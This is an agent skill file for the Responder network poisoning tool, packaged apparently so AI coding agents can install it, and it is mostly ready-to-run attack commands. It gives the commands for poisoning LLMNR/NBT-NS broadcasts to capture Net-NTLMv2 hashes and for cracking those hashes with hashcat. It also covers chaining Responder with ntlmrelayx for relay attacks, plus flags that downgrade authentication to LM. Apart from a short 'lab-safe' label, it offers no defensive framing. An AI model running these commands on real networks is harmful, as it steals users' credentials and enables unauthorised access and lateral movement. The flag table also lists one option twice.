offensive-tools/network/responder/SKILL.md
Auth/lab ref: Responder LLMNR/NBT-NS/mDNS assessment; name-resolution exposure, NTLM relay-risk evidence, lab-safe validation.
npx skillsauth add aeondave/malskill responderInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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LLMNR/NBT-NS/mDNS poisoner — captures Net-NTLMv2 hashes from Windows hosts on local network.
When a Windows host tries to resolve a hostname that DNS cannot answer, it falls back to LLMNR/NBT-NS broadcast. Responder answers those broadcasts with its own IP, causing the Windows host to authenticate — Responder captures the Net-NTLMv2 hash.
# Start passively (analyze mode — no poisoning)
sudo responder -I eth0 -A
# Active poisoning (captures hashes)
sudo responder -I eth0 -wv
# Captured hashes saved to:
# /usr/share/responder/logs/ or ~/.responder/logs/
| Flag | Description |
|------|-------------|
| -I <iface> | Network interface |
| -A | Analyze mode — no poisoning |
| -w | Enable WPAD rogue proxy server |
| -d | Enable DHCP poisoning |
| -b | Enable Basic HTTP auth capture |
| -v | Verbose (show each request) |
| -f | Fingerprint hosts |
| --lm | Downgrade auth to LM (legacy) |
| --disable-ess | Disable extended session security |
| --lm | Force LM hashing |
| -r | Enable WINS server |
| --no-multirelay | Disable relay mode |
SMB, HTTP, HTTPS, FTP, DNS, LDAP, MSSQL, NTLMv1, NTLMv2
# Passive capture — wait for Windows hosts to broadcast
sudo responder -I eth0 -wv
# View captured hashes in real-time
tail -f /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt
# Crack captured hashes
hashcat -a 0 -m 5600 hashes.txt rockyou.txt
# Disable SMB + HTTP for relay (if using ntlmrelayx in parallel)
# Edit /etc/responder/Responder.conf:
# SMB = Off
# HTTP = Off
sudo responder -I eth0 -wv
# Combined relay attack:
# Terminal 1: ntlmrelayx
ntlmrelayx.py -tf targets.txt -smb2support
# Terminal 2: Responder (SMB+HTTP off)
sudo responder -I eth0 -wv
[SMB] NTLMv2 Hash : DOMAIN\user::DOMAIN:challenge:hash:blob
Crack with hashcat mode 5600 (Net-NTLMv2) or pass via relay.
| File | When to load |
|------|--------------|
| references/ntlm-relay.md | Full relay chain: ntlmrelayx setup, LDAP relay, SMB signing bypass, RBCD |
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